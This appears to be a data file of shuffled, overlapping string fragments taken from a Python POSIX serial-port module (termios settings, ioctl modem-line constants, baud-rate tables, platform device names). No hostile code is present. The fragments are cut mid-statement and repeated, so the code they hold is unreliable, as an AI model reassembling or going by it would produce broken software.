'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC\",\n \"termios.error as msg: # if a port is nonexistent but has a /dev\",\n \"read (or something fails) for fd, event in poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL):\",\n \"plat[:4] == 'irix': # IRIX (partially tested) def device(port): return '/dev/ttyf%d' % (port+1)\",\n \"hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR') and TERMIOS.TIOCM_CAR or\",\n \"'FIONREAD') and TERMIOS.FIONREAD or 0x541B TIOCM_zero_str = struct.pack('I', 0) TIOCM_RTS_str = struct.pack('I', TIOCM_RTS)\",\n \"e.g. 'first serial port: /dev/ttyS0' and with a bit luck you can get\",\n \"when setting up pass self.fd = None raise else: self._isOpen = True #~\",\n \"raise portNotOpenError return self.fd def flowControl(self, enable): \\\"\\\"\\\"manually control flow - when hardware\",\n \"\\\"\\\"\\\"Return the number of characters currently in the input buffer.\\\"\\\"\\\" #~ s =\",\n \"or 0x2000 #TIOCM_OUT2 = hasattr(TERMIOS, 'TIOCM_OUT2') and TERMIOS.TIOCM_OUT2 or 0x4000 TIOCINQ = hasattr(TERMIOS,\",\n \"distributed under a free software license, see license.txt # # parts based on\",\n \"Linux and many other Un*x like systems.\\\"\\\"\\\" def open(self): \\\"\\\"\\\"Open port with current\",\n \"TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD =\",\n \"rate on this platform\\\") baudrate_constants = {} else: # platform detection has failed...\",\n \"0: 0000000, # hang up 50: 0o000001, 75: 0o000002, 110: 0o000003, 134: 0o000004,\",\n \"for file-like behavior. for Python 2.6 and newer, that provide the new I/O\",\n \"&= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS,\",\n \"buf: # Disconnected devices, at least on Linux, show the # behavior that\",\n \"checking stopbits=STOPBITS_ONE, # number of stop bits timeout=3, # set a timeout value,\",\n \"300: 0o000007, 600: 0o000010, 1200: 0o000011, 1800: 0o000012, 2400: 0o000013, 4800: 0o000014, 9600:\",\n \"&= ~TERMIOS.PARMRK # setup baud rate try: ispeed = ospeed = getattr(TERMIOS, 'B%s'\",\n \"0x002 TIOCM_RTS = hasattr(TERMIOS, 'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST')\",\n \"os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd = None raise SerialException(\\\"could not open\",\n \"None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \\\"\\\"\\\"Clear output buffer, aborting the current\",\n \"for Win32, Linux, BSD, Jython # module for serial IO for POSIX compatible\",\n \"operation. # For timeout == 0 (non-blocking operation) also abort when there #\",\n \"select reported it was # ready to read when we get to this\",\n \"TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \\\"\\\"\\\"Set terminal status line: Request To\",\n \"255: raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime # activate settings\",\n \"plat[:6] == 'netbsd': # NetBSD 1.6 testing by Erk def device(port): return '/dev/dty%02d'\",\n \"None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS !=\",\n \"OSError as v: if v.errno != errno.EAGAIN: raise SerialException('write failed: %s' % (v,))\",\n \"= {} elif plat[:5] == 'sunos': # Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c'\",\n \"port # also to keep original exception that happened when setting up pass\",\n \"%r serialposix.py version = %s also add the device name of the serial\",\n \"msg) # set up raw mode / no echo / binary cflag |=\",\n \"handle non standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:3]\",\n \"- - - - - - - - - - def inWaiting(self): \\\"\\\"\\\"Return\",\n \"exception when closing the port # also to keep original exception that happened\",\n \"1) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non standard\",\n \"len(data) d = data if self._writeTimeout is not None and self._writeTimeout > 0:\",\n \"write(self, data): \\\"\\\"\\\"Output the given string over the serial port.\\\"\\\"\\\" if self.fd is\",\n \"% vmin) cc[TERMIOS.VMIN] = vmin # vtime if vtime < 0 or vtime\",\n \"version with our own file-like emulation class Serial(PosixSerial, FileLike): pass else: # io\",\n \"wait until all data is written.\\\"\\\"\\\" self.drainOutput() def flushInput(self): \\\"\\\"\\\"Clear input buffer, discarding\",\n \"#|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk if hasattr(TERMIOS,\",\n \"_, ready, _ = select.select([], [self.fd], [], timeleft) if not ready: raise writeTimeoutError\",\n \"how to handle non standard baud rate on this platform\\\") baudrate_constants = {}\",\n \"hasattr(TERMIOS, 'TIOCMBIS') and TERMIOS.TIOCMBIS or 0x5416 TIOCMBIC = hasattr(TERMIOS, 'TIOCMBIC') and TERMIOS.TIOCMBIC or\",\n \"raise ValueError('Invalid vtime: %r' % vtime) cc[TERMIOS.VTIME] = vtime # activate settings termios.tcsetattr(self.fd,\",\n \"(or something fails) for fd, event in poll.poll(self._timeout*1000): if event & (select.POLLERR|select.POLLHUP|select.POLLNVAL): raise\",\n \"'cygwin': # cygwin/win32 (confirmed) def device(port): return '/dev/com%d' % (port + 1) def\",\n \"ASYNC_SPD_CUST = 0x0030 def set_special_baudrate(port, baudrate): import array buf = array.array('i', [0] *\",\n \"bit specification: %r' % self._stopbits) # setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP) if self._parity\",\n \"TWO.. there is no POSIX support for 1.5 elif self._stopbits == STOPBITS_TWO: cflag\",\n \"= fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_DSR != 0 def getRI(self): \\\"\\\"\\\"Read\",\n \"rate on this platform\\\") baudrate_constants = {} elif plat[:3] == 'aix': # AIX\",\n \"baud rate bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN, # enable parity checking\",\n \"\\\"beos\\\", .... # they should work, just need to know the device names.\",\n \"counting starts for the first serial port. e.g. 'first serial port: /dev/ttyS0' and\",\n \"standard baud rate on this platform\\\") baudrate_constants = {} elif plat[:3] == 'bsd'\",\n \"was # ready to read when we get to this point. if not\",\n \"as v: if v.errno != errno.EAGAIN: raise SerialException('write failed: %s' % (v,)) return\",\n \"Python 2.6 and newer, that provide the new I/O # library, derrive from\",\n \"no transmitting is possible.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd,\",\n \"to handle non standard baud rate on this platform\\\") baudrate_constants = {} else:\",\n \"2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000: 0o010017 } elif plat\",\n \"self._interCharTimeout is not None: vmin = 1 vtime = int(self._interCharTimeout * 10) try:\",\n \"setup flow control # xonxoff if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF)\",\n \"function is not portable to different platforms!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"set_special_baudrate(port, baudrate): raise SerialException(\\\"sorry don't know how to handle non standard baud rate\",\n \"objects. In this case, wait until all data is written.\\\"\\\"\\\" self.drainOutput() def flushInput(self):\",\n \"warning if setting up rtscts (and xonxoff etc) fails?? # buffer # vmin\",\n \"defaults from linux otherwise TIOCMGET = hasattr(TERMIOS, 'TIOCMGET') and TERMIOS.TIOCMGET or 0x5415 TIOCMBIS\",\n \"self._baudrate) # setup char len cflag &= ~TERMIOS.CSIZE if self._bytesize == 8: cflag\",\n \"if not ready: break # timeout buf = os.read(self.fd, size-len(read)) # read should\",\n \"rate try: ispeed = ospeed = getattr(TERMIOS, 'B%s' % (self._baudrate)) except AttributeError: try:\",\n \"6: cflag |= TERMIOS.CS6 elif self._bytesize == 5: cflag |= TERMIOS.CS5 else: raise\",\n \"[self.fd], [], timeleft) if not ready: raise writeTimeoutError d = d[n:] t =\",\n \"(confirmed) def device(port): return '/dev/com%d' % (port + 1) def set_special_baudrate(port, baudrate): raise\",\n \"if not buf: # Disconnected devices, at least on Linux, show the #\",\n \"raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \\\"\\\"\\\"Set\",\n \"== 'netbsd': # NetBSD 1.6 testing by Erk def device(port): return '/dev/dty%02d' %\",\n \"ValueError('Invalid baud rate: %r' % self._baudrate) else: if custom_baud < 0: raise ValueError('Invalid\",\n \"when there # is nothing to read. if not ready: break # timeout\",\n \"- n except OSError as v: if v.errno != errno.EAGAIN: raise SerialException('write failed:\",\n \"after given duration.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self,\",\n \"None: raise SerialException(\\\"Port must be configured before it can be used.\\\") # open\",\n \"SerialException(\\\"Can only operate on a valid file descriptor\\\") custom_baud = None vmin =\",\n \"the serial port and where the counting starts for the first serial port.\",\n \"is not None: os.close(self.fd) self.fd = None self._isOpen = False def makeDeviceName(self, port):\",\n \"this platform\\\") baudrate_constants = {} elif plat[:6] == 'darwin': # OS X version\",\n \"set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non standard baud rate\",\n \"this platform\\\") baudrate_constants = {} elif plat[:4] == 'irix': # IRIX (partially tested)\",\n \"self.flushInput() def _reconfigurePort(self): \\\"\\\"\\\"Set communication parameters on opened port.\\\"\\\"\\\" if self.fd is None:\",\n \"% (sys.platform, os.name, VERSION)) # no exception, just continue with a brave attempt\",\n \"raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CTS != 0\",\n \"%r' % self._baudrate) # may need custom baud rate, it isn't in our\",\n \"Ready\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd, TIOCMBIS, TIOCM_DTR_str) else:\",\n \"proved to work on many systems def read(self, size=1): \\\"\\\"\\\"Read size bytes from\",\n \"there be a warning if setting up rtscts (and xonxoff etc) fails?? #\",\n \"if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCOFLUSH) def sendBreak(self, duration=0.25): \\\"\\\"\\\"Send break\",\n \"1152000: 0o010011, 1500000: 0o010012, 2000000: 0o010013, 2500000: 0o010014, 3000000: 0o010015, 3500000: 0o010016, 4000000:\",\n \"io.RawIOBase): pass class PosixPollSerial(Serial): \\\"\\\"\\\"poll based read implementation. not all systems support poll\",\n \"cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with alternate constant name\",\n \"ospeed = baudrate_constants[self._baudrate] except KeyError: #~ raise ValueError('Invalid baud rate: %r' % self._baudrate)\",\n \"portNotOpenError if level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \\\"\\\"\\\"Set terminal\",\n \"level: fcntl.ioctl(self.fd, TIOCSBRK) else: fcntl.ioctl(self.fd, TIOCCBRK) def setRTS(self, level=1): \\\"\\\"\\\"Set terminal status line:\",\n \"Set Ready\\\"\\\"\\\" if self.fd is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str)\",\n \"build a device name # even if the device name is not correct\",\n \"raise ValueError('Invalid char len: %r' % self._bytesize) # setup stopbits if self._stopbits ==\",\n \"is not None: set_special_baudrate(self, custom_baud) def close(self): \\\"\\\"\\\"Close port\\\"\\\"\\\" if self._isOpen: if self.fd\",\n \"systems support poll properly. however this one has better handling of errors, such\",\n \"termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with the platform specifc\",\n \"> 0: try: n = os.write(self.fd, d) if timeout: # when timeout is\",\n \"failed: %s' % (v,)) return len(data) def flush(self): \\\"\\\"\\\"Flush of file like objects.\",\n \"supported\\\") def device(port): return '/dev/cuad%d' % port baudrate_constants = {} elif plat[:6] ==\",\n \"# try it with alternate constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else:\",\n \"opened.\\\"\\\"\\\" self.fd = None if self._port is None: raise SerialException(\\\"Port must be configured\",\n \"support arbitrary serial speeds if int(version[0]) >= 8: def set_special_baudrate(port, baudrate): # use\",\n \"\\\"\\\"\\\"Read terminal status line: Clear To Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"of the serial port and where the counting starts for the first serial\",\n \"in the buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self):\",\n \"is distributed under a free software license, see license.txt # # parts based\",\n \"|= TERMIOS.CS8 elif self._bytesize == 7: cflag |= TERMIOS.CS7 elif self._bytesize == 6:\",\n \"elif self._parity == PARITY_EVEN: cflag &= ~(TERMIOS.PARODD) cflag |= (TERMIOS.PARENB) elif self._parity ==\",\n \"&= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be a warning if setting up rtscts\",\n \"is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \\\"\\\"\\\"Clear output buffer, aborting the\",\n \"setting up rtscts (and xonxoff etc) fails?? # buffer # vmin \\\"minimal number\",\n \"= select.poll() poll.register(self.fd, select.POLLIN|select.POLLERR|select.POLLHUP|select.POLLNVAL) if size > 0: while len(read) < size: #\",\n \"if hasattr(TERMIOS, 'IUCLC'): iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK #\",\n \"to number ttys on this system. ! Use an explicit path (eg /dev/ttyS1)\",\n \"open try: self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd = None\",\n \"on Linux, show the # behavior that they are always ready to read\",\n \"TERMIOS.CS7 elif self._bytesize == 6: cflag |= TERMIOS.CS6 elif self._bytesize == 5: cflag\",\n \"== STOPBITS_TWO: cflag |= (TERMIOS.CSTOPB) else: raise ValueError('Invalid stop bit specification: %r' %\",\n \"# handled below buf = os.read(self.fd, size - len(read)) read.extend(buf) if ((self._timeout is\",\n \"early abort on timeout return bytes(read) if __name__ == '__main__': s = Serial(0,\",\n \"'TIOCM_DSR') and TERMIOS.TIOCM_DSR or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR\",\n \"the given string over the serial port.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"baud rate on this platform\\\") baudrate_constants = {} elif plat[:3] == 'aix': #\",\n \"self._writeTimeout is not None and self._writeTimeout > 0: timeout = time.time() + self._writeTimeout\",\n \"the real device name as port parameter. def device(portum): return '/dev/ttyS%d' % portnum\",\n \"this information to ! the author of this module: sys.platform = %r os.name\",\n \"0o010016, 4000000: 0o010017 } elif plat == 'cygwin': # cygwin/win32 (confirmed) def device(port):\",\n \"try: iflag, oflag, cflag, lflag, ispeed, ospeed, cc = termios.tcgetattr(self.fd) except termios.error as\",\n \"# io library present class Serial(PosixSerial, io.RawIOBase): pass class PosixPollSerial(Serial): \\\"\\\"\\\"poll based read\",\n \"hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR') and TERMIOS.TIOCM_DSR or\",\n \"!= errno.EAGAIN: raise SerialException('write failed: %s' % (v,)) return len(data) def flush(self): \\\"\\\"\\\"Flush\",\n \"- def inWaiting(self): \\\"\\\"\\\"Return the number of characters currently in the input buffer.\\\"\\\"\\\"\",\n \"(ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to handle non standard\",\n \"some constants have moved. if (sys.hexversion < 0x020100f0): import TERMIOS else: TERMIOS =\",\n \"the time left as timeout timeleft = timeout - time.time() if timeleft <\",\n \"constant name if self._rtscts: cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX\",\n \"hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup baud rate try: ispeed = ospeed\",\n \"buffer.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcflush(self.fd, TERMIOS.TCIFLUSH) def flushOutput(self): \\\"\\\"\\\"Clear output\",\n \"&= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try it with alternate constant name if\",\n \"_ = select.select([], [self.fd], [], timeleft) if not ready: raise writeTimeoutError d =\",\n \"n except OSError as v: if v.errno != errno.EAGAIN: raise SerialException('write failed: %s'\",\n \"on code from <NAME> <<EMAIL>>: # ftp://ftp.visi.com/users/grante/python/PosixSerial.py # # references: http://www.easysw.com/~mike/serial/serial.html import sys,\",\n \"as select reported it was # ready to read when we get to\",\n \"device(port): return '/dev/tty%d' % (port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how\",\n \"enable RTS/CTS flow control ) s.setRTS(1) s.setDTR(1) s.flushInput() s.flushOutput() s.write('hello') sys.stdout.write('%r\\\\n' % s.read(5))\",\n \"raise Exception, \\\"this module does not run on this platform, sorry.\\\" # whats\",\n \"baud rate on this platform\\\") baudrate_constants = {} elif plat[:6] == 'darwin': #\",\n \"2.6 and newer, that provide the new I/O # library, derrive from io.RawIOBase\",\n \"to work on many systems def read(self, size=1): \\\"\\\"\\\"Read size bytes from the\",\n \"or 0x100 TIOCM_CD = hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS,\",\n \"ValueError('Invalid stop bit specification: %r' % self._stopbits) # setup parity iflag &= ~(TERMIOS.INPCK|TERMIOS.ISTRIP)\",\n \"cflag |= (TERMIOS.CNEW_RTSCTS) else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be a\",\n \"&= ~getattr(TERMIOS, flag) oflag &= ~(TERMIOS.OPOST) iflag &= ~(TERMIOS.INLCR|TERMIOS.IGNCR|TERMIOS.ICRNL|TERMIOS.IGNBRK) if hasattr(TERMIOS, 'IUCLC'): iflag\",\n \"if vmin < 0 or vmin > 255: raise ValueError('Invalid vmin: %r '\",\n \"flowControl(self, enable): \\\"\\\"\\\"manually control flow - when hardware or software flow control is\",\n \"+ self._writeTimeout else: timeout = None while t > 0: try: n =\",\n \"port parameter. def device(portum): return '/dev/ttyS%d' % portnum def set_special_baudrate(port, baudrate): raise SerialException(\\\"sorry\",\n \"def setRTS(self, level=1): \\\"\\\"\\\"Set terminal status line: Request To Send\\\"\\\"\\\" if self.fd is\",\n \"else: cflag &= ~(TERMIOS.CNEW_RTSCTS) # XXX should there be a warning if setting\",\n \"also add the device name of the serial port and where the counting\",\n \"(self._interCharTimeout is not None and self._interCharTimeout > 0)) and not buf: break #\",\n \"< 0: raise ValueError('Invalid baud rate: %r' % self._baudrate) # setup char len\",\n \"ready: break # timeout buf = os.read(self.fd, size-len(read)) # read should always return\",\n \"with the real device name as port parameter. def device(portum): return '/dev/ttyS%d' %\",\n \"return bytes(read) def write(self, data): \\\"\\\"\\\"Output the given string over the serial port.\\\"\\\"\\\"\",\n \"- platform specific - - - - def drainOutput(self): \\\"\\\"\\\"internal - not portable!\\\"\\\"\\\"\",\n \"buf[7] / baudrate # update flags buf[4] &= ~ASYNC_SPD_MASK buf[4] |= ASYNC_SPD_CUST #\",\n \"bytes(read) def write(self, data): \\\"\\\"\\\"Output the given string over the serial port.\\\"\\\"\\\" if\",\n \"# they should work, just need to know the device names. # load\",\n \"0x010 TIOCM_CTS = hasattr(TERMIOS, 'TIOCM_CTS') and TERMIOS.TIOCM_CTS or 0x020 TIOCM_CAR = hasattr(TERMIOS, 'TIOCM_CAR')\",\n \"be selected... # this code block should supply a device() and set_special_baudrate() function\",\n \"os.read(self.fd, size - len(read)) read.extend(buf) if ((self._timeout is not None and self._timeout >=\",\n \"= fcntl # try to detect the OS so that a device can\",\n \"duration.\\\"\\\"\\\" if self.fd is None: raise portNotOpenError termios.tcsendbreak(self.fd, int(duration/0.25)) def setBreak(self, level=1): \\\"\\\"\\\"Set\",\n \"= None raise SerialException(\\\"could not open port %s: %s\\\" % (self._port, msg)) #~\",\n \"For timeout == 0 (non-blocking operation) also abort when there # is nothing\",\n \"if hasattr(TERMIOS, 'IXANY'): if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) #|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY)\",\n \"else: fcntl.ioctl(self.fd, TIOCMBIC, TIOCM_DTR_str) def getCTS(self): \\\"\\\"\\\"Read terminal status line: Clear To Send\\\"\\\"\\\"\",\n \"fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_RI != 0 def getCD(self): \\\"\\\"\\\"Read terminal\",\n \"self._rtscts: cflag |= (TERMIOS.CRTSCTS) else: cflag &= ~(TERMIOS.CRTSCTS) elif hasattr(TERMIOS, 'CNEW_RTSCTS'): # try\",\n \"= vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag, lflag, ispeed, ospeed,\",\n \"Port Extension for Win32, Linux, BSD, Jython # module for serial IO for\",\n \"and set_special_baudrate() function # for the platform plat = sys.platform.lower() if plat[:5] ==\",\n \"rate, it isn't in our list. ispeed = ospeed = getattr(TERMIOS, 'B38400') try:\",\n \"'B38400') try: custom_baud = int(self._baudrate) # store for later except ValueError: raise ValueError('Invalid\",\n \"self.fd = os.open(self.portstr, os.O_RDWR|os.O_NOCTTY|os.O_NONBLOCK) except Exception as msg: self.fd = None raise SerialException(\\\"could\",\n \"that a device can be selected... # this code block should supply a\",\n \"0o000017, 57600: 0o010001, 115200: 0o010002, 230400: 0o010003, 460800: 0o010004, 500000: 0o010005, 576000: 0o010006,\",\n \"input buffer, discarding all that is in the buffer.\\\"\\\"\\\" if self.fd is None:\",\n \"# try to detect the OS so that a device can be selected...\",\n \"TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or TIOCM_RNG #TIOCM_OUT1 = hasattr(TERMIOS, 'TIOCM_OUT1') and\",\n \"rate bytesize=EIGHTBITS, # number of data bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE,\",\n \"for the platform plat = sys.platform.lower() if plat[:5] == 'linux': # Linux (confirmed)\",\n \"# no exception, just continue with a brave attempt to build a device\",\n \"port. If a timeout is set it may return less characters as requested.\",\n \"explicit path (eg /dev/ttyS1) or send this information to ! the author of\",\n \"path (eg /dev/ttyS1) or send this information to ! the author of this\",\n \"bytes(read) if __name__ == '__main__': s = Serial(0, baudrate=19200, # baud rate bytesize=EIGHTBITS,\",\n \"Solaris/SunOS (confirmed) def device(port): return '/dev/tty%c' % (ord('a')+port) def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry\",\n \"duration=0.25): \\\"\\\"\\\"Send break condition. Timed, returns to idle state after given duration.\\\"\\\"\\\" if\",\n \"detect the OS so that a device can be selected... # this code\",\n \"iflag &= ~TERMIOS.IUCLC if hasattr(TERMIOS, 'PARMRK'): iflag &= ~TERMIOS.PARMRK # setup baud rate\",\n \"baudrate_constants = {} elif plat[:2] == 'hp': # HP-UX (not tested) def device(port):\",\n \"time from .serialutil import * # Do check the Python version as some\",\n \"termios.tcflow(self.fd, TERMIOS.TCIOFF) # assemble Serial class with the platform specifc implementation and the\",\n \"hasattr(TERMIOS, 'TIOCM_CD') and TERMIOS.TIOCM_CD or TIOCM_CAR TIOCM_RI = hasattr(TERMIOS, 'TIOCM_RI') and TERMIOS.TIOCM_RI or\",\n \"#|TERMIOS.IXANY) else: iflag &= ~(TERMIOS.IXON|TERMIOS.IXOFF|TERMIOS.IXANY) else: if self._xonxoff: iflag |= (TERMIOS.IXON|TERMIOS.IXOFF) else: iflag\",\n \"except termios.error as msg: # if a port is nonexistent but has a\",\n \"(device disconnected?)') read.extend(buf) return bytes(read) def write(self, data): \\\"\\\"\\\"Output the given string over\",\n \"This may throw a SerialException if the port cannot be opened.\\\"\\\"\\\" self.fd =\",\n \"|= (TERMIOS.PARENB|TERMIOS.PARODD) else: raise ValueError('Invalid parity: %r' % self._parity) # setup flow control\",\n \"the first serial port. e.g. 'first serial port: /dev/ttyS0' and with a bit\",\n \"platform\\\") baudrate_constants = {} else: # platform detection has failed... sys.stderr.write(\\\"\\\"\\\"\\\\ don't know\",\n \"port: /dev/ttyS0' and with a bit luck you can get this module running...\",\n \"{} elif plat[:2] == 'hp': # HP-UX (not tested) def device(port): return '/dev/tty%dp0'\",\n \"return struct.unpack('I',s)[0] # select based implementation, proved to work on many systems def\",\n \"software flow control is enabled\\\"\\\"\\\" if enable: termios.tcflow(self.fd, TERMIOS.TCION) else: termios.tcflow(self.fd, TERMIOS.TCIOFF) #\",\n \"line: Request To Send\\\"\\\"\\\" if self.fd is None: raise portNotOpenError if level: fcntl.ioctl(self.fd,\",\n \"not buf: break # early abort on timeout return bytes(read) if __name__ ==\",\n \"depending on flow control def set_special_baudrate(port, baudrate): raise ValueError(\\\"sorry don't know how to\",\n \"work using a string with the real device name as port parameter. def\",\n \"baud rate, if any if custom_baud is not None: set_special_baudrate(self, custom_baud) def close(self):\",\n \"to know the device names. # load some constants for later use. #\",\n \"even if the device name is not correct for the platform it has\",\n \"ASYNC_SPD_CUST # set serial_struct try: res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise\",\n \"is None: raise portNotOpenError read = bytearray() while len(read) < size: ready,_,_ =\",\n \"'TIOCM_LE') and TERMIOS.TIOCM_LE or 0x001 TIOCM_DTR = hasattr(TERMIOS, 'TIOCM_DTR') and TERMIOS.TIOCM_DTR or 0x002\",\n \"TERMIOS.ISIG|TERMIOS.IEXTEN) #|TERMIOS.ECHOPRT for flag in ('ECHOCTL', 'ECHOKE'): # netbsd workaround for Erk if\",\n \"the device names. # load some constants for later use. # try to\",\n \"= {} elif plat[:6] == 'darwin': # OS X version = os.uname()[2].split('.') #\",\n \"serialposix.py version = %s also add the device name of the serial port\",\n \"platform\\\") baudrate_constants = {} elif plat[:2] == 'hp': # HP-UX (not tested) def\",\n \"res = FCNTL.ioctl(port.fd, TERMIOS.TIOCSSERIAL, buf) except IOError: raise ValueError('Failed to set custom baud\",\n \"later use. # try to use values from TERMIOS, use defaults from linux\",\n \"IOKit-specific call to set up high speeds import array, fcntl buf = array.array('i',\",\n \"\\\"\\\"\\\"Set terminal status line: Data Terminal Ready\\\"\\\"\\\" if self.fd is None: raise portNotOpenError\",\n \"# NetBSD 1.6 testing by Erk def device(port): return '/dev/dty%02d' % port def\",\n \"set_special_baudrate() function # for the platform plat = sys.platform.lower() if plat[:5] == 'linux':\",\n \"free software license, see license.txt # # parts based on code from <NAME>\",\n \"0x040 TIOCM_RNG = hasattr(TERMIOS, 'TIOCM_RNG') and TERMIOS.TIOCM_RNG or 0x080 TIOCM_DSR = hasattr(TERMIOS, 'TIOCM_DSR')\",\n \"to different platforms!\\\"\\\"\\\" if self.fd is None: raise portNotOpenError return self.fd def flowControl(self,\",\n \"raise else: self._isOpen = True #~ self.flushInput() def _reconfigurePort(self): \\\"\\\"\\\"Set communication parameters on\",\n \"STOPBITS_ONE: cflag &= ~(TERMIOS.CSTOPB) elif self._stopbits == STOPBITS_ONE_POINT_FIVE: cflag |= (TERMIOS.CSTOPB) # XXX\",\n \"of data bits parity=PARITY_EVEN, # enable parity checking stopbits=STOPBITS_ONE, # number of stop\",\n \"'TIOCM_RTS') and TERMIOS.TIOCM_RTS or 0x004 #TIOCM_ST = hasattr(TERMIOS, 'TIOCM_ST') and TERMIOS.TIOCM_ST or 0x008\",\n \"hang up 50: 0o000001, 75: 0o000002, 110: 0o000003, 134: 0o000004, 150: 0o000005, 200:\",\n \"this platform\\\") baudrate_constants = {} #~ raise Exception, \\\"this module does not run\",\n \"is None: raise portNotOpenError s = fcntl.ioctl(self.fd, TIOCMGET, TIOCM_zero_str) return struct.unpack('I',s)[0] & TIOCM_CD\",\n \"None: raise portNotOpenError return self.fd def flowControl(self, enable): \\\"\\\"\\\"manually control flow - when\",\n \"% vtime) cc[TERMIOS.VTIME] = vtime # activate settings termios.tcsetattr(self.fd, TERMIOS.TCSANOW, [iflag, oflag, cflag,\",\n \"'linux': # Linux (confirmed) def device(port): return '/dev/ttyS%d' % port ASYNC_SPD_MASK = 0x1030\",\n \"returned no data (device disconnected?)') read.extend(buf) return bytes(read) def write(self, data): \\\"\\\"\\\"Output the\",\n \"== 'openbsd3': # BSD (confirmed) def device(port): return '/dev/ttyp%d' % port def set_special_baudrate(port,\",\n \"FCNTL.ioctl(port.fd, TERMIOS.TIOCGSERIAL, buf) # set custom divisor buf[6] = buf[7] / baudrate #\",\n \"rate on this platform\\\") baudrate_constants = {} #~ raise Exception, \\\"this module does\",\n \"TERMIOS.TCIFLUSH) def flushOutput(self): \\\"\\\"\\\"Clear output buffer, aborting the current output and discarding all\",\n \"' % 